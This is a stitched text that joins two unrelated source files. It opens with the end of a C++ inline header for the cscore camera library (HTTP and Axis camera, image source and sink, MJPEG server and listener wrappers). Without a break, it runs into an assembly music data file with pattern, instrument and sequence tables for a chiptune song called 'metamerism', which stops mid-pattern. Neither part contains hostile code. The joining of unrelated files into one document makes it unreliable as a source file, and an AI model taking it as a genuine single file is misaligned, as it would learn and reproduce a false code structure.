static_cast<CS_HttpCameraKind>(static_cast<int>(kind)), &m_status); } inline HttpCamera::HttpCamera(const wpi::Twine& name, const char* url, HttpCameraKind kind) { m_handle = CreateHttpCamera( name, url, static_cast<CS_HttpCameraKind>(static_cast<int>(kind)), &m_status); } inline HttpCamera::HttpCamera(const wpi::Twine& name, const std::string& url, HttpCameraKind kind) : HttpCamera(name, wpi::Twine{url}, kind) {} inline HttpCamera::HttpCamera(const wpi::Twine& name, wpi::ArrayRef<std::string> urls, HttpCameraKind kind) { m_handle = CreateHttpCamera( name, urls, static_cast<CS_HttpCameraKind>(static_cast<int>(kind)), &m_status); } template <typename T> inline HttpCamera::HttpCamera(const wpi::Twine& name, std::initializer_list<T> urls, HttpCameraKind kind) { std::vector<std::string> vec; vec.reserve(urls.size()); for (const auto& url : urls) vec.emplace_back(url); m_handle = CreateHttpCamera( name, vec, static_cast<CS_HttpCameraKind>(static_cast<int>(kind)), &m_status); } inline HttpCamera::HttpCameraKind HttpCamera::GetHttpCameraKind() const { m_status = 0; return static_cast<HttpCameraKind>( static_cast<int>(::cs::GetHttpCameraKind(m_handle, &m_status))); } inline void HttpCamera::SetUrls(wpi::ArrayRef<std::string> urls) { m_status = 0; ::cs::SetHttpCameraUrls(m_handle, urls, &m_status); } template <typename T> inline void HttpCamera::SetUrls(std::initializer_list<T> urls) { std::vector<std::string> vec; vec.reserve(urls.size()); for (const auto& url : urls) vec.emplace_back(url); m_status = 0; ::cs::SetHttpCameraUrls(m_handle, vec, &m_status); } inline std::vector<std::string> HttpCamera::GetUrls() const { m_status = 0; return ::cs::GetHttpCameraUrls(m_handle, &m_status); } inline std::string AxisCamera::HostToUrl(const wpi::Twine& host) { return ("http://" + host + "/mjpg/video.mjpg").str(); } inline std::vector<std::string> AxisCamera::HostToUrl( wpi::ArrayRef<std::string> hosts) { std::vector<std::string> rv; rv.reserve(hosts.size()); for (const auto& host : hosts) rv.emplace_back(HostToUrl(wpi::StringRef{host})); return rv; } template <typename T> inline std::vector<std::string> AxisCamera::HostToUrl( std::initializer_list<T> hosts) { std::vector<std::string> rv; rv.reserve(hosts.size()); for (const auto& host : hosts) rv.emplace_back(HostToUrl(wpi::StringRef{host})); return rv; } inline AxisCamera::AxisCamera(const wpi::Twine& name, const wpi::Twine& host) : HttpCamera(name, HostToUrl(host), kAxis) {} inline AxisCamera::AxisCamera(const wpi::Twine& name, const char* host) : HttpCamera(name, HostToUrl(host), kAxis) {} inline AxisCamera::AxisCamera(const wpi::Twine& name, const std::string& host) : HttpCamera(name, HostToUrl(wpi::Twine{host}), kAxis) {} inline AxisCamera::AxisCamera(const wpi::Twine& name, wpi::StringRef host) : HttpCamera(name, HostToUrl(host), kAxis) {} inline AxisCamera::AxisCamera(const wpi::Twine& name, wpi::ArrayRef<std::string> hosts) : HttpCamera(name, HostToUrl(hosts), kAxis) {} template <typename T> inline AxisCamera::AxisCamera(const wpi::Twine& name, std::initializer_list<T> hosts) : HttpCamera(name, HostToUrl(hosts), kAxis) {} inline void ImageSource::NotifyError(const wpi::Twine& msg) { m_status = 0; NotifySourceError(m_handle, msg, &m_status); } inline void ImageSource::SetConnected(bool connected) { m_status = 0; SetSourceConnected(m_handle, connected, &m_status); } inline void ImageSource::SetDescription(const wpi::Twine& description) { m_status = 0; SetSourceDescription(m_handle, description, &m_status); } inline VideoProperty ImageSource::CreateProperty(const wpi::Twine& name, VideoProperty::Kind kind, int minimum, int maximum, int step, int defaultValue, int value) { m_status = 0; return VideoProperty{CreateSourceProperty( m_handle, name, static_cast<CS_PropertyKind>(static_cast<int>(kind)), minimum, maximum, step, defaultValue, value, &m_status)}; } inline VideoProperty ImageSource::CreateIntegerProperty(const wpi::Twine& name, int minimum, int maximum, int step, int defaultValue, int value) { m_status = 0; return VideoProperty{CreateSourceProperty( m_handle, name, static_cast<CS_PropertyKind>(static_cast<int>(VideoProperty::Kind::kInteger)), minimum, maximum, step, defaultValue, value, &m_status)}; } inline VideoProperty ImageSource::CreateBooleanProperty(const wpi::Twine& name, bool defaultValue, bool value) { m_status = 0; return VideoProperty{CreateSourceProperty( m_handle, name, static_cast<CS_PropertyKind>(static_cast<int>(VideoProperty::Kind::kBoolean)), 0, 1, 1, defaultValue ? 1 : 0, value ? 1 : 0, &m_status)}; } inline VideoProperty ImageSource::CreateStringProperty(const wpi::Twine& name, const wpi::Twine& value) { m_status = 0; auto prop = VideoProperty{CreateSourceProperty( m_handle, name, static_cast<CS_PropertyKind>(static_cast<int>(VideoProperty::Kind::kString)), 0, 0, 0, 0, 0, &m_status)}; prop.SetString(value); return prop; } inline void ImageSource::SetEnumPropertyChoices( const VideoProperty& property, wpi::ArrayRef<std::string> choices) { m_status = 0; SetSourceEnumPropertyChoices(m_handle, property.m_handle, choices, &m_status); } template <typename T> inline void ImageSource::SetEnumPropertyChoices(const VideoProperty& property, std::initializer_list<T> choices) { std::vector<std::string> vec; vec.reserve(choices.size()); for (const auto& choice : choices) vec.emplace_back(choice); m_status = 0; SetSourceEnumPropertyChoices(m_handle, property.m_handle, vec, &m_status); } inline VideoSink::VideoSink(const VideoSink& sink) : m_handle(sink.m_handle == 0 ? 0 : CopySink(sink.m_handle, &m_status)) {} inline VideoSink::VideoSink(VideoSink&& other) noexcept : VideoSink() { swap(*this, other); } inline VideoSink& VideoSink::operator=(VideoSink other) noexcept { swap(*this, other); return *this; } inline VideoSink::~VideoSink() { m_status = 0; if (m_handle != 0) ReleaseSink(m_handle, &m_status); } inline VideoSink::Kind VideoSink::GetKind() const { m_status = 0; return static_cast<VideoSink::Kind>(GetSinkKind(m_handle, &m_status)); } inline std::string VideoSink::GetName() const { m_status = 0; return GetSinkName(m_handle, &m_status); } inline std::string VideoSink::GetDescription() const { m_status = 0; return GetSinkDescription(m_handle, &m_status); } inline VideoProperty VideoSink::GetProperty(const wpi::Twine& name) { m_status = 0; return VideoProperty{GetSinkProperty(m_handle, name, &m_status)}; } inline void VideoSink::SetSource(VideoSource source) { m_status = 0; if (!source) SetSinkSource(m_handle, 0, &m_status); else SetSinkSource(m_handle, source.m_handle, &m_status); } inline VideoSource VideoSink::GetSource() const { m_status = 0; auto handle = GetSinkSource(m_handle, &m_status); return VideoSource{handle == 0 ? 0 : CopySource(handle, &m_status)}; } inline VideoProperty VideoSink::GetSourceProperty(const wpi::Twine& name) { m_status = 0; return VideoProperty{GetSinkSourceProperty(m_handle, name, &m_status)}; } inline bool VideoSink::SetConfigJson(wpi::StringRef config) { m_status = 0; return SetSinkConfigJson(m_handle, config, &m_status); } inline bool VideoSink::SetConfigJson(const wpi::json& config) { m_status = 0; return SetSinkConfigJson(m_handle, config, &m_status); } inline std::string VideoSink::GetConfigJson() const { m_status = 0; return GetSinkConfigJson(m_handle, &m_status); } inline MjpegServer::MjpegServer(const wpi::Twine& name, const wpi::Twine& listenAddress, int port) { m_handle = CreateMjpegServer(name, listenAddress, port, &m_status); } inline std::string MjpegServer::GetListenAddress() const { m_status = 0; return cs::GetMjpegServerListenAddress(m_handle, &m_status); } inline int MjpegServer::GetPort() const { m_status = 0; return cs::GetMjpegServerPort(m_handle, &m_status); } inline void MjpegServer::SetResolution(int width, int height) { m_status = 0; SetProperty(GetSinkProperty(m_handle, "width", &m_status), width, &m_status); SetProperty(GetSinkProperty(m_handle, "height", &m_status), height, &m_status); } inline void MjpegServer::SetFPS(int fps) { m_status = 0; SetProperty(GetSinkProperty(m_handle, "fps", &m_status), fps, &m_status); } inline void MjpegServer::SetCompression(int quality) { m_status = 0; SetProperty(GetSinkProperty(m_handle, "compression", &m_status), quality, &m_status); } inline void MjpegServer::SetDefaultCompression(int quality) { m_status = 0; SetProperty(GetSinkProperty(m_handle, "default_compression", &m_status), quality, &m_status); } inline void ImageSink::SetDescription(const wpi::Twine& description) { m_status = 0; SetSinkDescription(m_handle, description, &m_status); } inline std::string ImageSink::GetError() const { m_status = 0; return GetSinkError(m_handle, &m_status); } inline void ImageSink::SetEnabled(bool enabled) { m_status = 0; SetSinkEnabled(m_handle, enabled, &m_status); } inline VideoSource VideoEvent::GetSource() const { CS_Status status = 0; return VideoSource{sourceHandle == 0 ? 0 : CopySource(sourceHandle, &status)}; } inline VideoSink VideoEvent::GetSink() const { CS_Status status = 0; return VideoSink{sinkHandle == 0 ? 0 : CopySink(sinkHandle, &status)}; } inline VideoProperty VideoEvent::GetProperty() const { return VideoProperty{propertyHandle, static_cast<VideoProperty::Kind>(propertyKind)}; } inline VideoListener::VideoListener( std::function<void(const VideoEvent& event)> callback, int eventMask, bool immediateNotify) { CS_Status status = 0; m_handle = AddListener( [=](const RawEvent& event) { callback(static_cast<const VideoEvent&>(event)); }, eventMask, immediateNotify, &status); } inline VideoListener::VideoListener(VideoListener&& other) noexcept : VideoListener() { swap(*this, other); } inline VideoListener& VideoListener::operator=(VideoListener&& other) noexcept { swap(*this, other); return *this; } inline VideoListener::~VideoListener() { CS_Status status = 0; if (m_handle != 0) RemoveListener(m_handle, &status); } } // namespace cs #endif /* CSCORE_OO_INL_ */
;--------------------------------------------------- album_songs dc.w song_metamerism album_numsongs dc.b $01 album_patternmap dc.w pat_nil dc.w pat_pl dc.w pat_pr0 dc.w pat_prz dc.w pat_pr dc.w pat_pr2 dc.w pat_px dc.w pat_claptest_beng_fi dc.w pat_claptest dc.w pat_claptest_hh dc.w pat_claptest_beng dc.w pat_claptest_hh_fi1 dc.w pat_claptest_hhchr dc.w pat_bl1 dc.w pat_bl2 dc.w pat_bl2_fi dc.w pat_bip1 dc.w pat_hhmixin dc.w pat_melo1 dc.w pat_melo1ch dc.w pat_melo2 dc.w pat_melo2ch dc.w pat_melo3 dc.w pat_melo4 dc.w pat_downgroove dc.w pat_upgroove dc.w pat_off dc.w pat_bln1 dc.w pat_bln2 dc.w pat_bl2_fi2 dc.w pat_melo1_od dc.w pat_melo2_od dc.w pat_melo3_od dc.w pat_melo4_od dc.w pat_bl1_t dc.w pat_bl2_t dc.w pat_bip1_t dc.w pat_pl_fi1 dc.w pat_pr2_fi1 dc.w pat_px_fi1 dc.w pat_pl_fi4 dc.w pat_pr2_fi4 dc.w pat_prz_fi4 dc.w pat_pl_fi5 album_frqtab_lo dc.b <ins_nil_frq dc.b <ins_bd_frq dc.b <ins_sn_frq dc.b <ins_sn2_frq dc.b <ins_hh_frq dc.b <ins_hh2_frq dc.b <ins_hh4_frq dc.b <ins_hh3_frq dc.b <ins_cl_frq dc.b <ins_beng_frq dc.b <ins_pling_frq dc.b <ins_sq_frq dc.b <ins_bl_frq dc.b <ins_bl2_frq dc.b <ins_bip_frq dc.b <ins_chr1_frq dc.b <ins_mchr1_frq dc.b <ins_mchr2_frq dc.b <ins_melo_frq album_frqtab_hi dc.b >ins_nil_frq dc.b >ins_bd_frq dc.b >ins_sn_frq dc.b >ins_sn2_frq dc.b >ins_hh_frq dc.b >ins_hh2_frq dc.b >ins_hh4_frq dc.b >ins_hh3_frq dc.b >ins_cl_frq dc.b >ins_beng_frq dc.b >ins_pling_frq dc.b >ins_sq_frq dc.b >ins_bl_frq dc.b >ins_bl2_frq dc.b >ins_bip_frq dc.b >ins_chr1_frq dc.b >ins_mchr1_frq dc.b >ins_mchr2_frq dc.b >ins_melo_frq album_frqtab_stop dc.b 2 dc.b 20 dc.b 12 dc.b 16 dc.b 4 dc.b 6 dc.b 6 dc.b 12 dc.b 6 dc.b 8 dc.b 2 dc.b 12 dc.b 14 dc.b 14 dc.b 18 dc.b 8 dc.b 14 dc.b 8 dc.b 20 album_frqtab_loop dc.b 0 dc.b 18 dc.b 8 dc.b 12 dc.b 0 dc.b 4 dc.b 4 dc.b 8 dc.b 4 dc.b 0 dc.b 0 dc.b 10 dc.b 0 dc.b 0 dc.b 2 dc.b 2 dc.b 0 dc.b 0 dc.b 4 album_voltab_lo dc.b <ins_nil_vol dc.b <ins_bd_vol dc.b <ins_sn_vol dc.b <ins_sn2_vol dc.b <ins_hh_vol dc.b <ins_hh2_vol dc.b <ins_hh4_vol dc.b <ins_hh3_vol dc.b <ins_cl_vol dc.b <ins_beng_vol dc.b <ins_pling_vol dc.b <ins_sq_vol dc.b <ins_bl_vol dc.b <ins_bl2_vol dc.b <ins_bip_vol dc.b <ins_chr1_vol dc.b <ins_mchr1_vol dc.b <ins_mchr2_vol dc.b <ins_melo_vol album_voltab_hi dc.b >ins_nil_vol dc.b >ins_bd_vol dc.b >ins_sn_vol dc.b >ins_sn2_vol dc.b >ins_hh_vol dc.b >ins_hh2_vol dc.b >ins_hh4_vol dc.b >ins_hh3_vol dc.b >ins_cl_vol dc.b >ins_beng_vol dc.b >ins_pling_vol dc.b >ins_sq_vol dc.b >ins_bl_vol dc.b >ins_bl2_vol dc.b >ins_bip_vol dc.b >ins_chr1_vol dc.b >ins_mchr1_vol dc.b >ins_mchr2_vol dc.b >ins_melo_vol album_voltab_stop dc.b 2 dc.b 18 dc.b 8 dc.b 8 dc.b 14 dc.b 4 dc.b 4 dc.b 6 dc.b 18 dc.b 16 dc.b 6 dc.b 8 dc.b 10 dc.b 12 dc.b 8 dc.b 10 dc.b 4 dc.b 8 dc.b 8 album_voltab_loop dc.b 0 dc.b 16 dc.b 6 dc.b 6 dc.b 12 dc.b 2 dc.b 2 dc.b 4 dc.b 16 dc.b 14 dc.b 4 dc.b 0 dc.b 8 dc.b 10 dc.b 6 dc.b 8 dc.b 2 dc.b 0 dc.b 6 PATID_nil EQU $00 PATID_pl EQU $01 PATID_pr0 EQU $02 PATID_prz EQU $03 PATID_pr EQU $04 PATID_pr2 EQU $05 PATID_px EQU $06 PATID_claptest_beng_fi EQU $07 PATID_claptest EQU $08 PATID_claptest_hh EQU $09 PATID_claptest_beng EQU $0A PATID_claptest_hh_fi1 EQU $0B PATID_claptest_hhchr EQU $0C PATID_bl1 EQU $0D PATID_bl2 EQU $0E PATID_bl2_fi EQU $0F PATID_bip1 EQU $10 PATID_hhmixin EQU $11 PATID_melo1 EQU $12 PATID_melo1ch EQU $13 PATID_melo2 EQU $14 PATID_melo2ch EQU $15 PATID_melo3 EQU $16 PATID_melo4 EQU $17 PATID_downgroove EQU $18 PATID_upgroove EQU $19 PATID_off EQU $1A PATID_bln1 EQU $1B PATID_bln2 EQU $1C PATID_bl2_fi2 EQU $1D PATID_melo1_od EQU $1E PATID_melo2_od EQU $1F PATID_melo3_od EQU $20 PATID_melo4_od EQU $21 PATID_bl1_t EQU $22 PATID_bl2_t EQU $23 PATID_bip1_t EQU $24 PATID_pl_fi1 EQU $25 PATID_pr2_fi1 EQU $26 PATID_px_fi1 EQU $27 PATID_pl_fi4 EQU $28 PATID_pr2_fi4 EQU $29 PATID_prz_fi4 EQU $2A PATID_pl_fi5 EQU $2B INSID_nil EQU $00 INSID_bd EQU $01 INSID_sn EQU $02 INSID_sn2 EQU $03 INSID_hh EQU $04 INSID_hh2 EQU $05 INSID_hh4 EQU $06 INSID_hh3 EQU $07 INSID_cl EQU $08 INSID_beng EQU $09 INSID_pling EQU $0A INSID_sq EQU $0B INSID_bl EQU $0C INSID_bl2 EQU $0D INSID_bip EQU $0E INSID_chr1 EQU $0F INSID_mchr1 EQU $10 INSID_mchr2 EQU $11 INSID_melo EQU $12 ;--------------------------------------------------- song_metamerism dc.b $3F,$04,$02,$00,$00,$00,$00,$00,$04,$00,$00,$00,$00,$00 dc.w song_metamerism_sequence dc.b $06,$05,$04,$03,$00,$00,$00,$00 dc.b $00,$00,$01,$01,$02,$02,$02,$03 dc.b $03,$03,$04,$04,$05,$06,$07,$08 song_metamerism_sequence dc.b $00,PATID_pl,PATID_prz,PATID_nil dc.b $00,PATID_pl,PATID_prz,PATID_nil dc.b $00,PATID_pl,PATID_prz,PATID_nil dc.b $00,PATID_pl,PATID_prz,PATID_nil dc.b $00,PATID_pl,PATID_pr0,PATID_nil dc.b $00,PATID_pl,PATID_pr0,PATID_nil dc.b $00,PATID_pl,PATID_pr0,PATID_nil dc.b $00,PATID_pl,PATID_pr0,PATID_nil dc.b $00,PATID_pl,PATID_pr,PATID_nil dc.b $00,PATID_pl,PATID_pr,PATID_nil dc.b $00,PATID_pl,PATID_pr,PATID_nil dc.b $00,PATID_pl_fi1,PATID_pr,PATID_nil dc.b $00,PATID_pl,PATID_pr2,PATID_nil dc.b $00,PATID_pl,PATID_pr2,PATID_nil dc.b $00,PATID_pl,PATID_pr2,PATID_nil dc.b $00,PATID_pl_fi1,PATID_pr2,PATID_nil dc.b $00,PATID_pl,PATID_pr2,PATID_px dc.b $00,PATID_pl,PATID_pr2,PATID_px dc.b $00,PATID_pl,PATID_pr2,PATID_px dc.b $00,PATID_pl_fi1,PATID_pr2_fi1,PATID_px dc.b $00,PATID_pl,PATID_pr2,PATID_px dc.b $00,PATID_pl,PATID_pr2,PATID_px dc.b $00,PATID_pl,PATID_pr2,PATID_px dc.b $00,PATID_pl_fi1,PATID_pr2_fi1,PATID_px_fi1 dc.b $00,PATID_pl,PATID_melo1ch,PATID_nil dc.b $00,PATID_pl,PATID_melo2ch,PATID_nil dc.b $00,PATID_pl,PATID_melo1ch,PATID_nil dc.b $00,PATID_pl_fi1,PATID_melo2ch,PATID_nil dc.b $00,PATID_melo1ch,PATID_melo1,PATID_off dc.b $00,PATID_melo2ch,PATID_melo2,PATID_downgroove dc.b $00,PATID_melo1ch,PATID_melo3,PATID_nil dc.b $00,PATID_melo2ch,PATID_melo4,PATID_nil song_metamerism_loop dc.b $00,PATID_melo1_od,PATID_bl1,PATID_melo1ch dc.b $00,PATID_melo2_od,PATID_bl2,PATID_melo2ch dc.b $00,PATID_melo3_od,PATID_bl1,PATID_melo1ch dc.b $00,PATID_melo4_od,PATID_bl2_fi,PATID_melo2ch dc.b $00,PATID_melo1,PATID_bl1,PATID_melo1ch dc.b $00,PATID_melo2,PATID_bl2,PATID_melo2ch dc.b $00,PATID_melo3,PATID_bl1,PATID_melo1ch dc.b $00,PATID_melo4,PATID_bl2_fi2,PATID_melo2ch dc.b $00,PATID_melo1ch,PATID_bip1,PATID_bl1 dc.b $00,PATID_melo2ch,PATID_bip1,PATID_bl2_fi dc.b $00,PATID_melo1ch,PATID_bip1,PATID_bl1 dc.b $00,PATID_melo2ch,PATID_bip1,PATID_bl2_fi2 dc.b $00,PATID_bip1,PATID_bln1,PATID_hhmixin dc.b $00,PATID_bip1,PATID_bln2,PATID_hhmixin dc.b $00,PATID_bip1,PATID_bln1,PATID_hhmixin dc.b $00,PATID_bip1,PATID_bln2,PATID_hhmixin dc.b $00,PATID_bip1,PATID_bl1,PATID_hhmixin dc.b $00,PATID_bip1,PATID_bl2_fi,PATID_hhmixin dc.b $00,PATID_bip1,PATID_bl1,PATID_hhmixin dc.b $00,PATID_bip1,PATID_bl2_fi,PATID_hhmixin dc.b $00,PATID_bip1_t,PATID_bl1_t,PATID_hhmixin dc.b $00,PATID_bip1_t,PATID_bl2_t,PATID_hhmixin dc.b $00,PATID_bip1_t,PATID_bl1_t,PATID_hhmixin dc.b $00,PATID_bip1_t,PATID_bl2_t,PATID_hhmixin dc.b $00,PATID_bip1,PATID_bl1,PATID_hhmixin dc.b $00,PATID_bip1,PATID_bl2_fi,PATID_hhmixin dc.b $00,PATID_bip1,PATID_bl1,PATID_hhmixin dc.b $00,PATID_bip1,PATID_bl2_fi2,PATID_hhmixin dc.b $00,PATID_upgroove,PATID_prz,PATID_bip1 dc.b $00,PATID_pl_fi5,PATID_prz_fi4,PATID_bip1 dc.b $00,PATID_pl,PATID_pr2,PATID_bip1 dc.b $00,PATID_pl,PATID_pr2,PATID_bip1 dc.b $00,PATID_pl,PATID_pr2,PATID_bip1 dc.b $00,PATID_pl_fi1,PATID_pr2_fi1,PATID_bip1 dc.b $00,PATID_pl,PATID_pr2,PATID_px dc.b $00,PATID_pl,PATID_pr2,PATID_px dc.b $00,PATID_pl,PATID_pr2,PATID_px dc.b $00,PATID_pl_fi4,PATID_pr2_fi4,PATID_px_fi1 dc.b $00,PATID_pl,PATID_pr2,PATID_claptest dc.b $00,PATID_pl,PATID_pr2,PATID_claptest dc.b $00,PATID_pl,PATID_pr2,PATID_claptest dc.b $00,PATID_pl_fi4,PATID_pr2_fi4,PATID_claptest dc.b $00,PATID_claptest_beng,PATID_claptest,PATID_claptest_hh dc.b $00,PATID_claptest_beng,PATID_claptest,PATID_claptest_hh dc.b $00,PATID_claptest_beng,PATID_claptest,PATID_claptest_hh dc.b $00,PATID_claptest_beng_fi,PATID_claptest,PATID_claptest_hh_fi1 dc.b $00,PATID_claptest_beng,PATID_bip1,PATID_claptest_hhchr dc.b $00,PATID_claptest_beng,PATID_bip1,PATID_claptest_hhchr dc.b $00,PATID_claptest_beng,PATID_bip1,PATID_claptest_hhchr dc.b $00,PATID_claptest_beng_fi,PATID_bip1,PATID_claptest_hhchr dc.b $00,PATID_melo1ch,PATID_bip1,PATID_claptest_hhchr dc.b $00,PATID_melo2ch,PATID_bip1,PATID_claptest_hhchr dc.b $00,PATID_melo1ch,PATID_bip1,PATID_nil dc.b $00,PATID_melo2ch,PATID_bip1,PATID_nil dc.b $00,PATID_melo1ch,PATID_bl1,PATID_downgroove dc.b $00,PATID_melo2ch,PATID_bl2_fi,PATID_nil dc.b $00,PATID_melo1ch,PATID_bl1,PATID_nil dc.b $00,PATID_melo2ch,PATID_bl2_fi,PATID_nil dc.b $ff dc.w [.-song_metamerism_loop-1] ;--------------------------------------------------- pat_nil player_settrackregister PATTERN_WAIT,$00 pat_nil_loop player_settrackregister PATTERN_WAIT,$10 player_rewind [.-pat_nil_loop+2] pat_pl pat_pl_loop player_settrackregister $09,$0A player_settrackregister $08,$00 player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0E player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0E player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$06 player_setinstrument $04,INSID_beng player_settrackregister $09,$0E player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$72 player_setinstrument $04,INSID_beng player_settrackregister $09,$0E player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_settrackregister $09,$0A player_setinstrument $04,INSID_beng player_rewind [.-pat_pl_loop+2] pat_pr0 pat_pr0_loop player_setinstrument $06,INSID_bd player_setinstrument $02,INSID_hh player_setinstrument $04,INSID_bd player_setinstrument $04,INSID_hh player_setinstrument $06,INSID_bd player_setinstrument $02,INSID_hh player_setinstrument $04,INSID_bd player_setinstrument $04,INSID_hh player_setinstrument $06,INSID_bd player_setinstrument $02,INSID_hh player_setinstrument $04,INSID_bd player_setinstrument $04,INSID_hh player_setinstrument $06,INSID_bd player_setinstrument $02,INSID_hh player_setinstrument $04,INSID_bd player_setinstrument $04,INSID_hh player_rewind [.-pat_pr0_loop+2] pat_prz pat_prz_loop player_settrackregister $08,$00 player_setinstrument $08,INSID_bd player_rewind [.-pat_prz_loop+2] pat_pr pat_pr_loop player_settrackregister $08,$00 player_setinstrument $06,INSID_bd player_setinstrument $02,INSID_hh player_settrackregister $08,$00 player_setinstrument $02,INSID_bd player_setinstrument $02,INSID_sn player_setinstrument $02,INSID_hh player_setinstrument $02,INSID_hh2 player_settrackregister $08,$00 player_setinstrument $06,INSID_bd player_setinstrument $02,INSID_sn player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_hh player_setinstrument $02,INSID_hh2 player_settrackregister $08,$00 player_setinstrument $06,INSID_bd player_setinstrument $02,INSID_hh player_settrackregister $08,$00 player_setinstrument $02,INSID_bd player_setinstrument $02,INSID_sn player_setinstrument $02,INSID_hh player_setinstrument $02,INSID_hh2 player_settrackregister $08,$00 player_setinstrument $06,INSID_bd player_setinstrument $02,INSID_sn player_settrackregister $08,$00 player_setinstrument $02,INSID_bd player_setinstrument $04,INSID_hh3 player_setinstrument $02,INSID_hh player_rewind [.-pat_pr_loop+2] pat_pr2 pat_pr2_loop player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh player_settrackregister $08,$00 player_setinstrument $02,INSID_bd player_setinstrument $02,INSID_sn player_setinstrument $02,INSID_hh player_setinstrument $02,INSID_hh2 player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_sn player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_hh player_setinstrument $02,INSID_hh2 player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh3 player_settrackregister $08,$00 player_setinstrument $02,INSID_bd player_setinstrument $02,INSID_sn player_setinstrument $02,INSID_hh player_setinstrument $02,INSID_hh2 player_settrackregister $08,$00 player_setinstrument $04,INSID_bd player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_sn player_settrackregister $08,$00 player_setinstrument $02,INSID_bd player_setinstrument $04,INSID_hh3 player_setinstrument $02,INSID_hh player_rewind [.-pat_pr2_loop+2] pat_px pat_px_loop player_settrackregister $09,$6A player_settrackregister $08,$00 player_setinstrument $02,INSID_pling player_rewind [.-pat_px_loop+2] pat_claptest_beng_fi player_setinstrument $04,INSID_bd player_settrackregister $09,$06 player_setinstrument $04,INSID_beng player_setinstrument $02,INSID_bd player_settrackregister $09,$FF player_setinstrument $04,INSID_beng player_settrackregister $09,$12 player_setinstrument $02,INSID_sq player_setinstrument $04,INSID_bd player_settrackregister $09,$06 player_setinstrument $04,INSID_beng player_setinstrument $02,INSID_bd player_settrackregister $09,$06 player_setinstrument $04,INSID_beng player_setinstrument $02,INSID_bd player_setinstrument $04,INSID_bd player_settrackregister $09,$02 player_setinstrument $04,INSID_beng player_setinstrument $04,INSID_bd player_settrackregister $09,$92 player_setinstrument $04,INSID_beng player_setinstrument $04,INSID_bd player_settrackregister $09,$12 player_setinstrument $04,INSID_beng player_setinstrument $02,INSID_bd player_settrackregister $09,$13 player_setinstrument $02,INSID_sq player_settrackregister $09,$06 player_setinstrument $02,INSID_beng player_setinstrument $02,INSID_bd pat_claptest_beng_fi_loop player_setinstrument $08,INSID_bd player_rewind [.-pat_claptest_beng_fi_loop+2] pat_claptest pat_claptest_loop player_settrackregister $09,$31 player_settrackregister $08,$F8 player_setinstrument $02,INSID_sq player_settrackregister $08,$00 player_setinstrument $04,INSID_cl player_settrackregister $08,$F8 player_setinstrument $02,INSID_cl player_settrackregister $09,$93 player_setinstrument $04,INSID_sq player_settrackregister $08,$FC player_setinstrument $04,INSID_cl player_settrackregister $09,$31 player_settrackregister $08,$F8 player_setinstrument $02,INSID_sq player_settrackregister $08,$00 player_setinstrument $04,INSID_cl player_settrackregister $08,$F8 player_setinstrument $04,INSID_cl player_settrackregister $09,$93 player_settrackregister $08,$FC player_setinstrument $02,INSID_sq player_settrackregister $08,$FC player_setinstrument $04,INSID_cl player_rewind [.-pat_claptest_loop+2] pat_claptest_hh pat_claptest_hh_loop player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_settrackregister $08,$00 player_setinstrument $02,INSID_sn player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_settrackregister $08,$00 player_setinstrument $02,INSID_sn player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_settrackregister $08,$00 player_setinstrument $02,INSID_sn player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_rewind [.-pat_claptest_hh_loop+2] pat_claptest_beng pat_claptest_beng_loop player_setinstrument $04,INSID_bd player_settrackregister $09,$06 player_setinstrument $04,INSID_beng player_setinstrument $02,INSID_bd player_settrackregister $09,$FF player_setinstrument $04,INSID_beng player_settrackregister $09,$12 player_setinstrument $02,INSID_sq player_setinstrument $04,INSID_bd player_settrackregister $09,$06 player_setinstrument $04,INSID_beng player_setinstrument $02,INSID_bd player_settrackregister $09,$06 player_setinstrument $04,INSID_beng player_setinstrument $02,INSID_bd player_setinstrument $04,INSID_bd player_settrackregister $09,$02 player_setinstrument $04,INSID_beng player_setinstrument $04,INSID_bd player_settrackregister $09,$92 player_setinstrument $04,INSID_beng player_setinstrument $04,INSID_bd player_settrackregister $09,$12 player_setinstrument $04,INSID_beng player_setinstrument $02,INSID_bd player_settrackregister $09,$13 player_setinstrument $02,INSID_sq player_settrackregister $09,$06 player_setinstrument $02,INSID_beng player_setinstrument $02,INSID_bd player_rewind [.-pat_claptest_beng_loop+2] pat_claptest_hh_fi1 player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_settrackregister $08,$00 player_setinstrument $02,INSID_sn player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_settrackregister $08,$00 player_setinstrument $02,INSID_sn player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_setinstrument $02,INSID_hh4 player_settrackregister $08,$00 player_setinstrument $02,INSID_sn player_settrackregister $08,$FE player_setinstrument $02,INSID_hh4 player_setinstrument 